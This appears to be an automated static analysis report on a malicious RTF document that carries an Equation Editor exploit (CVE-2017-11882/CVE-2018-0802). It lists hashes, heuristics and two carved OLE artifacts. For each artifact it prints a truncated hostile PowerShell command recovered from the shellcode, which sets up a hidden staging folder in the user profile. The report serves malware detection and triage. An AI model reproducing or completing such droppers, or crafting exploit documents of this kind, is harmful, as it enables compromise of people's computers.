Malicious RTF — malware analysis report

Static analysis result for SHA-256 fef65b3c9bfcf545…

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28
MD5: 8f16b31859ef53fd3fb6b5bdfa0b4491 SHA-1: ef45922ff54b5ebf85f13b71b20f4ba889b9d30e SHA-256: fef65b3c9bfcf545d0bc4e201fb845221d40841e0ead3d9beabfef991a7ca459
140 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 3581 bytes
SHA-256: 6d1aefea25b5196d83ecfd5caab892ac0eff5a52ab0cec7566f9a8041b816834
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE
objdata_01_off000014f9.bin rtf-objdata-decoded RTF \objdata at offset 0x14F9 1206 bytes
SHA-256: bd21fb068b8749e508ad2bdd4b44e662ec1ebfd58a52d7ea046b363f75eb3e6e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE